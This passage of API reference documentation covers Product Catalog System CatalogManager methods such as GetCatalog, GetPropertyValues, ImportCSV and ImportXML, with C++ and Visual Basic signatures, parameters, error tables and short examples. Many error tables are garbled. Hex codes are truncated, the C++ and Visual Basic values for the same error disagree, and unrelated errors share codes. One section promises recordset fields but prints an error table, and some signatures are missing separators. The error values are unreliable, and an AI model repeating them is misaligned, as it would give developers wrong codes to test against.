[out, retval] A pointer to a _Recordset object that will be used to return the query results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the search results.

Error Values

If the method fails then no error will be returned. In case of an error ppRSResult will be set to Null. The error will also be written to the event log.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011 [Visual Basic] &H889801D | The Properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011 [Visual Basic] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Error. The recordset will be set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C++] 0x8898000 [Visual Basic] &H889800F | When performing a query against multiple Catalogs, you should specify the actual properties to return.

Remarks

[C++] The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully.

[Visual Basic] The recordset returned by this method contains valid data only if the method completes successfully.

The FreeTextSearch method is used to perform arbitrary lexical comparisons on words or phrases in one or more catalogs. The FreeTextSearch functionality in the Product Catalog System is based on full text indexing in SQL Server, and therefore, inherits keywords and operators from SQL Server for controlling the free text search.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

The search results for multilingual catalogs will be returned in a single language. The language will be selected differently depending on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the web server. If a catalog does not support the selected language, data will not be returned for the language sensitive properties. The properties will be returned in the recordset.

Use the Search method to specify the search language and for doing a free-text search and a query simultaneously.

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return, or when specifying the strPropertyToSortOn parameter, enclose the field names in square brackets to avoid unintentional side effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

While doing a free-text search you can also specify FREETEXTSEARCH_RANK as a property to return and property to sort on. FREETEXTSEARCH_RANK contains a relevance ranking value for each row in the recordset.The FREETEXTSEARCH_RANK specifies the relative closeness of this row to the value passed in strPhrase parameter. You can specify the FREETEXTSEARCH_RANK in the PropertiestoReturn parameter and also rank results by specifying it in the PropertiesToSortOn parameter.

[C++] For more information, see CatalogProduct Recordset.

[Visual Basic] For more information, see CatalogProduct Recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'rsFTSResults is a recordset object
'plTotalRecordsInQuery is a Variant.
'Check it after the method returns for the
'total number of records that match the query.
Set rsFTSResults = myCatalogManager.FreeTextSearch("red ribbons", "Craft Supplies", "", "Price", True, 0, 20, plTotalRecordsInQuery)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::Query

[Visual Basic] CatalogManager.Query


ICatalogManager3::GetAttributes Method [C++]

CatalogManager.GetAttributes Method [Visual Basic]

Use this method to retrieve the catalog or property attributes in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::GetAttributes(
  CatalogAttributesEnum eAttributeType,
  VARIANT_BOOL fUserDefinedOnly,
  _Recordset** ppRSAttributes
);
[Visual Basic]
Function GetAttributes(
  eAttributeType As CatalogAttributesEnum,
  Optional fUserDefinedOnly As Boolean
) As Recordset

Parameters

eAttributeType [C++]
[in] A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
eAttributeType [Visual Basic]
A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
fUserDefinedOnly [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to return only user-defined attributes. A value of True (-1) specifies returning only user-defined attributes. A value of False (0) specifies returning all attributes.
fUserDefinedOnly [Visual Basic]
A Boolean that specifies whether to return only user-defined attributes. A value of True specifies returning only user-defined attributes. A value of False specifies returning all attributes. The default value is True.
ppRSAttributes [C++]
[out, retval] A pointer to a _Recordset object that will be used to return the attributes.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the attributes requested.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.

Remarks

[C++] The ppRSAttributes parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object contains valid data only if the method completes successfully.

The following table shows the values in the CatalogAttributesEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscPropertyAttributes | 0 | Returns property attributes.
cscCatalogAttributes | 1 | Returns catalog attributes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsCatalogAttr = myCatalogManager.GetAttributes(cscCatalogAttributes, False)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] PropertyAttribute Recordset

[Visual Basic] PropertyAttribute Recordset


ICatalogManager3::GetCatalog Method [C++]

CatalogManager.GetCatalog Method [Visual Basic]

Use this method to retrieve a specified catalog from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::GetCatalog(
  BSTR strCatalogName,
  IProductCatalog3** ppCatalog
);
[Visual Basic]
Function GetCatalog(
  strCatalogName As String
) As ProductCatalog

Parameters

strCatalogName [C++]
[in] A BSTR that contains the name of the catalog to be retrieved.
strCatalogName [Visual Basic]
A String that contains the name of the catalog to be retrieved.
ppCatalog [C++]
[out] A pointer to an IProductCatalog3 interface used to return the ProductCatalog object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the ProductCatalog object that contains the catalog specified. The method may complete successfully and return an object that is Nothing. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. These characters should not be used.
S_FALSE | [C++] 0x0000001 [Visual Basic] &H0000001 | The catalog does not exist

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppCatalog parameter contains valid data only if the method completes successfully. The method may complete successfully without returning valid data. See the Error Values section for more details.

[Visual Basic] The ProductCatalog object contains valid data only if the method completes successfully. The method may complete successfully and return an object that is Nothing. See the Error Values section for more details.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set oCatalog = myCatalogManager.GetCatalog("Cdcatalog")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog

[C++] ICatalogManager3::DeleteCatalog

[Visual Basic] CatalogManager.DeleteCatalog


ICatalogManager3::GetDefinitionProperties Method [C++]

CatalogManager.GetDefinitionProperties Method [Visual Basic]

Use this method to return the properties of the specified catalog or product definition.

Definition

[C++]
HRESULT ICatalogManager3::GetDefinitionProperties(
  BSTR strDefinitionName,
  _Recordset** ppRSProperties
);
[Visual Basic]
Function GetDefinitionProperties(
  strDefinitionName As String
) As _Recordset

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition whose properties will be returned.
strDefinitionName [Visual Basic]
A String that contains the name of the definition whose properties will be returned.
ppRSProperties [C++]
[out, retval] A pointer to a _Recordset object used to return the properties of the definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset that contains the properties of the specified definition.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The Definition you specified does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProperties parameter contains valid data only if the method completes successfully.

[Visual Basic] The recordset returned by this method contains valid data only if the method completes successfully.

The following tables shows the fields in the returned recordset.

Field | Data Type | Description
DefinitionID | Integer | The number that uniquely identifies the definition.
PropertyName | String 128 characters | None
PropertyOrder | Integer | None
PropertyType | Integer | Zero (0) indicates product or category, one (1) indicates variant property.
TimeStamp | timestamp | None

The rows of the recordset are sorted on the PropertyOrder field.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsDefProps = myCatalogManager.GetDefinitionProperties("T-Shirts")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::RemoveDefinitionProperty

[Visual Basic] CatalogManager.RemoveDefinitionProperty


ICatalogManager3::GetPropertyAttributes Method [C++]

CatalogManager.GetPropertyAttributes Method [Visual Basic]

Use this method to return the attributes of the specified property.

Definition

[C++]
HRESULT ICatalogManager3::GetPropertyAttributes(
  BSTR strPropertyName,
  _Recordset** ppRSAttributes
);
[Visual Basic]
Function GetPropertyAttributes(
  strPropertyName As String
) As _Recordset

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the property whose attributes will be returned.
strPropertyName [Visual Basic]
A String that contains the name of the property whose attributes will be returned.
ppRSAttributes [C++]
[out] A pointer to a _Recordset object used to return the attributes of the property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of attributes for the specified property

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

Remarks

[C++] The ppRSAttributes parameter contains valid data only if the method completes successfully.

[Visual Basic] The recordset returned by this method contains valid data only if the method completes successfully.

[C++] This method returns a single row Recordset object containing the requested property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic] This method returns a single row Recordset object containing the requested property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsPropAttribs = myCatalogManager.GetPropertyAttributes("Size")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::SetPropertyAttributes

[Visual Basic] CatalogManager.SetPropertyAttributes


ICatalogManager3::GetPropertyValues Method [C++]

CatalogManager.GetPropertyValues Method [Visual Basic]

Use this method to return the list of values defined for an enumeration property.

Definition

[C++]
HRESULT ICatalogManager3::GetPropertyValues(
  BSTR strPropertyName,
  _Recordset** ppRSPropertyValues
);
[Visual Basic]
Function GetPropertyValues(
  strPropertyName As String
) As _Recordset

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the enumeration property for which the defined values will be returned.
strPropertyName [Visual Basic]
A String that contains the name of the enumeration property for which the defined values will be returned.
ppRSPropertyValues [C++]
[out, retval] A pointer to a _Recordset object used to return the property values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the defined values in the enumeration.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSPropertyValues parameter contains valid data only if the method completes successfully.

[Visual Basic] The returned recordset contains valid data only if the method completes successfully.

The following tables shows the fields in the returned recordset.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsEnumValues = myCatalogManager.GetPropertyValues("Color")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddPropertyValue

[Visual Basic] CatalogManager.AddPropertyValue

[C++] ICatalogManager3::RemovePropertyValue

[Visual Basic] CatalogManager.RemovePropertyValue


ICatalogManager3::ImportCSV Method [C++]

CatalogManager.ImportCSV Method [Visual Basic]

Use this method to import a comma-separated values (CSV)-formatted file as catalog data.

Definition

[C++]
HRESULT ICatalogManager3::ImportCSV(
  BSTR strCSVFileSource,
  BSTR strProductIDColumnName,
  BSTR strPriceColumnName,
  BSTR strCatalogName,
  VARIANT_BOOL fUpdateOnly
  VARIANT_BOOL fRunSynchronously
  BSTR strLang,
);
[Visual Basic]
Sub ImportCSV(
  strCSVFileSource As String,
  strProductIDColumnName As String,
  strPriceColumnName As String,
  strCatalogName As String,
  fUpdateOnly As Boolean
  fRunSynchronously As Boolean
  Optional strLang As String,
)

Parameters

strCSVFileSource [C++]
[in] A BSTR that contains the path and file name of the CSV file to import.
strCSVFileSource [Visual Basic]
A String that contains the path and file name of the CSV file to import.
strProductIDColumnName [C++]
[in] A BSTR that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strProductIDColumnName [Visual Basic]
A String that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strPriceColumnName [C++]
[in] A BSTR that contains the name of the column in the CSV file containing the product prices.
strPriceColumnName [Visual Basic]
A String that contains the name of the column in the CSV file containing the product prices.
strCatalogName [C++]
[in] A BSTR that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with the character "#" or consist solely of spaces. For more information about catalog name restrictions, see Catalog Name and Size Restrictions.
strCatalogName [Visual Basic]
A String that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with the character "#" or consist solely of spaces. For more information about catalog name restrictions, see Catalog Name and Size Restrictions.
fUpdateOnly [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fUpdateOnly [Visual Basic]
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default value is False.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default value is False.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The Catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_FILE_OPEN_ERROR | [C++] 0x88980020 [Visual Basic] &H88980020 | Unable to open the file . Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x88980025 [Visual Basic] &H88980025 | This operation cannot be started because an import operation is currently in progress.
E_CAT_CONFLICTING_PRODUCTID | [C++] 0x88980113 [Visual Basic] &H88980113 | The ProductID property you specified for this Catalog does not match the existing PrIoductID property. When importing a catalog in the update mode the ProductID property should match the existing ProductID property

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the parameter strCatalogName specifies a catalog that does not exist, a new catalog will be created and the value of the fUpdateOnly parameter is ignored.

The strLang parameter specifies the language for multilingual properties in the imported catalog. If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

The ImportCSV method is used to bring existing data from a wide variety of sources into the Product Catalog System. The CSV file must conform to the following format:

  • The first row of data must consist of column names, separated by commas. New lines in the text file delimit Rows.
  • For each column in the heading, a new property of the string data type with a maxlength of 256 will be created if the property does not exist. If the property already exists in the Product Catalog System then the existing property will be used.
  • Each subsequent row (called a data row) must have the same number of commas as the first row. In other words, all columns in the CSV file must be defined by the first row.
  • All items in the CSV file (one row per item) are assumed to be products, and are created from a common product definition. If no product definition exists in the destination catalog, one will be created during the import process.
  • Each item must specify a value for the column specified as the ProductID column, as well as for the column specified as the Price column.
  • Two adjacent commas must represent missing data. If the data itself contains a comma then it must be enclosed in double quotes as in the example of the following 3 data items: weight, "yellow, blue, green or red", name.

This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes importing the catalog, it will be terminated prematurely and the catalog will not be imported successfully.

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ImportCSV "c:\imports\ourcatalog.csv", "SKU", "Price", "OurCatalog", TRUE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportCSV

[Visual Basic] CatalogManager.ExportCSV

[C++] ICatalogManager3::ImportXML

[Visual Basic] CatalogManager.ImportXML

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::ImportXML Method [C++]

CatalogManager.ImportXML Method [Visual Basic]

Use this method to import an Extensible Markup Language (XML)-formatted file as catalog data.

Definition

[C++]
HRESULT ICatalogManager3::ImportXML(
  VARIANT vrXML,
  VARIANT_BOOL fUpdateOnly,
  VARIANT_BOOL fRunSynchronously
  VARIANT_BOOL fGenerateFullTextIndexes
);
[Visual Basic]
Sub ImportXML(
  vrXML As Variant,
  Optional fUpdateOnly As Boolean,
  Optional fRunSynchronously As Boolean
  Optional fGenerateFullTextIndexes As Boolean
)

Parameters

vrXML [C++]
[in] A VARIANT that contains the XML file name or IStream object that is the target of the import.
vrXML [Visual Basic]
A Variant that contains the XML file name or IStream object that is the target of the import.
fUpdateOnly [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fUpdateOnly [Visual Basic]
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default is False.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default is False.
fGenerateFullTextIndexes [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated.
fGenerateFullTextIndexes [Visual Basic]
A Boolean that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated. The default is True.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_FILE_OPEN_ERROR | [C++] 0x8898002 [Visual Basic] &H8898000 | Unable to open the file. Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x8898002 [Visual Basic] &H8898005 | This operation cannot be started because an import operation is currently in progress.
E_CAT_MSXML3_MISSING | [C++] 0x889800C [Visual Basic] &H8898001 | The Catalog import operation was unable to instantiate the XML parser. Please check that msxml3.dll is installed and registered on this machine. Refer to the Commerce Server installation documents for more information.
E_CAT_INVALID_XML | error | There has been an error. See the error message for more information.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When performing a partial or delta import (when updating an existing catalog by importing new or changed catalog data), it is important that the catalog definition of the data being imported matches the definition of the existing catalog. For more information about the catalog definition, see Import Semantics.

This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Caution

